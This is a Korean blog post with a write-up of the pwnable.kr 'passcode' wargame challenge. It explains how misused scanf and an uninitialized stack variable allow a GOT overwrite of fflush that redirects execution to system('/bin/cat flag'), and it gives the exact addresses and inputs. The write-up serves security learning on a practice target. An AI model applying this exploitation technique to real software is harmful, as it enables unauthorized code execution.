제리의 블로그

pwnable.kr passcode 본문

Wargame/pwnable.kr

pwnable.kr passcode

j3rrry 2018. 8. 29. 01:57

passcode - 10 pt

요약

문제의 지문에서 컴파일의 경고를 무시했다는 정보를 토대로
소스코드를 직접 컴파일을 통해 어떠한 경고가 떴는지 확인한 결과
그 경고는 함수에 전달되는 인자의 자료형에 대한 것이었습니다.


프로그램을 직접 실행해서 passcode1 에 10진수를 넣었을 때
Segmentation fault 발생하는 이유를 알아보면
이를 통해 임의의 주소에 4 bytes 만큼 덮어쓸 수 있다는 것을 알게됩니다.


welcome 함수에서 사용했던 스택의 데이터가
login 함수에서도 쓰레기값으로 데이터가 그대로 남기 때문에
지역변수 passcode1 를 공격자가 특정 값(주소)을 넣을 수 있습니다.


checksec 로 바이너리의 보호기법을 검사해보니
GOT에 write 권한이 있었고
공격 시나리오를 GOT Overwrite로 정합니다.


name에 fflush의 GOT 주소를 넣고
passcode1 에 system("/bin/cat flag"); 의 주소를 넣으면
fflush 를 호출할 시 system("/bin/cat flag"); 가 대신 호출되어
flag를 획득하게 됩니다.




Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)
passcode 를 이용한 로그인 시스템을 만들었는데
컴파일 과정에서 warning 이 떴나본데
별로 신경쓰지 않는 눈치입니다.


컴파일러가 경고하는 이유가 있겠죠?
확인하러 가봅시다.




passcode@ubuntu:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c
passcode.c 소스파일이 궁금합니다.




#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}
오오.. 아직 뭐가 문제인지 잘 모르겠습니다.




1. 컴파일 해보기

문제 지문에 컴파일에서 경고가 떳다고 했으므로
한번 컴파일을 해볼까요
모든 경고를 표시하기 위해서 옵션을 줬습니다.
# gcc passcode.c -o passcode -Wall
passcode.c: In function ‘login’:
passcode.c:9:10: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
  scanf("%d", passcode1);
         ~^   ~~~~~~~~~
passcode.c:14:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
         scanf("%d", passcode2);
                ~^   ~~~~~~~~~
passcode.c:9:2: warning: ‘passcode1’ is used uninitialized in this function [-Wuninitialized]
  scanf("%d", passcode1);
  ^~~~~~~~~~~~~~~~~~~~~~
passcode.c:14:9: warning: ‘passcode2’ is used uninitialized in this function [-Wuninitialized]
         scanf("%d", passcode2);
         ^~~~~~~~~~~~~~~~~~~~~~
아하 이제야 알겠습니다.


scanf 의 포맷 "%d"는 인자로 int *형을 예상했는데, 그렇지 않고 int형이 왔기 때문에 에러가 난 것입니다.

그리고 uninitialized warning 이 떴는데 이는 scanf 에 매개변수로 들어가는 passcode1 과 passcode2 는 주소값이 아닌 초기화되지 않은 데이터가 들어감을 경고하고 있다.




2. passcode1

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : aaaa
Welcome aaaa!
enter passcode1 : bbbb
enter passcode2 : checking...
Login Failed!
passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : aaaa
Welcome aaaa!
enter passcode1 : 1024
Segmentation fault
한번 실행시켜서 임의의 값을 넣어보았습니다.

그랬더니 passcode1 입력부분에서 문자열을 입력할 때와
숫자를 입력할 때의 차이점이 있었습니다.
숫자를 넣었을 때 Segmentation fault 가 뜬 것이죠




pwndbg> r
Starting program: /home/passcode/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : aaaa
Welcome aaaa!
enter passcode1 : 1024

Program received signal SIGSEGV, Segmentation fault.
0xf7e3f219 in _IO_vfscanf () from /lib32/libc.so.6
pwndbg> x/i 0xf7e3f219
=> 0xf7e3f219 <_IO_vfscanf+16697>:      mov    DWORD PTR [edx],eax
eax 값을 [edx] 에 
덮어씌울 때 Segmentation fault 가 발생했으며






pwndbg> i r eax edx
eax            0x400    1024
edx            0xf7e4be3b       -136004037
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /mnt/hgfs/shared/pwnable.kr/passcode/passcode
 0x8049000  0x804a000 r--p     1000 0      /mnt/hgfs/shared/pwnable.kr/passcode/passcode
 0x804a000  0x804b000 rw-p     1000 1000   /mnt/hgfs/shared/pwnable.kr/passcode/passcode
 0x804b000  0x806d000 rw-p    22000 0      [heap]
0xf7de4000 0xf7dfd000 r--p    19000 0      /lib32/libc-2.27.so
0xf7dfd000 0xf7f49000 r-xp   14c000 19000  /lib32/libc-2.27.so
0xf7f49000 0xf7fb7000 r--p    6e000 165000 /lib32/libc-2.27.so
0xf7fb7000 0xf7fb8000 ---p     1000 1d3000 /lib32/libc-2.27.so
0xf7fb8000 0xf7fba000 r--p     2000 1d3000 /lib32/libc-2.27.so
0xf7fba000 0xf7fbb000 rw-p     1000 1d5000 /lib32/libc-2.27.so
0xf7fbb000 0xf7fbe000 rw-p     3000 0
0xf7fce000 0xf7fd0000 rw-p     2000 0
0xf7fd0000 0xf7fd3000 r--p     3000 0      [vvar]
0xf7fd3000 0xf7fd5000 r-xp     2000 0      [vdso]
0xf7fd5000 0xf7fd6000 r--p     1000 0      /lib32/ld-2.27.so
0xf7fd6000 0xf7ff1000 r-xp    1b000 1000   /lib32/ld-2.27.so
0xf7ff1000 0xf7ffb000 r--p     a000 1c000  /lib32/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p     1000 26000  /lib32/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p     1000 27000  /lib32/ld-2.27.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]
덮어씌어지는 주소의 권한에는 write 권한이 없기 때문입니다.



eax 는 입력한 값 1024 가 들어가있고
그렇다면 edx는 무엇인가?


// __isoc99_scanf("%d", [ebp-0x10]);
.text:08048577                 mov     eax, offset aD  ; "%d"
.text:0804857C                 mov     edx, [ebp+var_10]
.text:0804857F                 mov     [esp+4], edx
.text:08048583                 mov     [esp], eax
.text:08048586                 call    ___isoc99_scanf

int login()
{
  int passcode1; // [sp+18h] [bp-10h]@0
  int passcode2; // [sp+1Ch] [bp-Ch]@0

  printf("enter passcode1 : ");
  __isoc99_scanf("%d", passcode1);
  fflush(stdin);
  printf("enter passcode2 : ");
  __isoc99_scanf("%d", passcode2);
  puts("checking...");
  if ( passcode1 != 338150 || passcode2 != 13371337 )
  {
    puts("Login Failed!");
    exit(0);
  }
  puts("Login OK!");
  return system("/bin/cat flag");
}

Breakpoint *0x08048577
pwndbg> x/wx $ebp-0x10
0xffffd208:     0xf7e4be3b
edx는 지역변수 passcode1 에 저장되어 있던
쓰레기 값이었습니다.



3. 초기화되지 않은 변수 취약점

int __cdecl welcome()
{
  char name[100]; // [sp+18h] [bp-70h]@1
  int canary; // [sp+7Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  printf("enter you name : ");
  __isoc99_scanf("%100s", name);



int login()
{
  int passcode1; // [sp+18h] [bp-10h]@0
  int passcode2; // [sp+1Ch] [bp-Ch]@0

  printf("enter passcode1 : ");
  __isoc99_scanf("%d");
  fflush(stdin);
welcome 함수와 login 함수는 둘 다 main 함수의 서브 함수입니다.
그렇기 때문에 스택 프레임이 겹치게 되는데

welcome 에서 사용했던 정보가 초기화되지 않기 때문에
login 에서 예측하지 못한 결과가 일어날 수 있다.( 익스가 일어난다. )

welcome 의 지역변수 name 은 bp-0x70 부터 길이 100 만큼 데이터를 쓸 수 있다.
login 의 지역변수 passcode1 은 bp-0x10 에 있다.



FFD84D08  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FFD84D18  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FFD84D28  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FFD84D38  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FFD84D48  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FFD84D58  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FFD84D68  41 41 41 41 00 D9 18 5E  00 60 F8 F7 00 00 00 00  AAAA...^.`......
위는 welcome 에서 scanf(name); 직후의 스택 영역이고
아래는 login 에서 scanf(passcode1); 직전의 스택 영역입니다.
FFD84D68  41 41 41 41 00 D9 18 5E  00 60 F8 F7 00 00 00 00  AAAA...^.`......
위 상황에서 passcode1 은 0xFFD84D68 에 위치하고 있으며
'AAAA' 문자열로 덮여져 있는 것으로보아
name을 통해 passcode1을 조작 가능합니다.




4. GOT Overwrite

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
GOT Overwrite 가 가능합니다.



FF946B28  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FF946B38  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FF946B48  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FF946B58  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FF946B68  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FF946B78  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
FF946B88  04 A0 04 08 00 FA B1 59  00 80 FA F7 00 00 00 00  .......Y........
name에 값을 넣을 때 bp-0x10 위치에 fflush의 GOT(0x804a004) 를 넣고


enter passcode1 : 134514147
passcode1에 0x80485E3 을 넣어주면



0804A000  30 36 E2 F7 E3 85 04 08  46 84 04 08 30 9E E3 F7  06......F...0...
0804A010  66 84 04 08 76 84 04 08  86 84 04 08 B0 B8 DE F7  f...v...........
0804A020  E0 5E E3 F7 00 00 00 00  00 00 00 00 C0 85 FA F7  .^..............

.got.plt:0804A004 off_804A004 dd offset loc_80485E3       ; DATA XREF: _fflushr
fflush의 GOT가 덮어씌여지구


loc_80485E3:            ; "/bin/cat flag"
mov     dword ptr [esp], offset command
call    _system
결국 system("/bin/cat flag"); 가 호출된다.


'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr input  (0) 2018.09.02
pwnable.kr random  (0) 2018.08.30
pwnable.kr flag  (0) 2018.08.29
pwnable.kr bof  (0) 2018.08.24
pwnable.kr collision  (0) 2018.08.24
Comments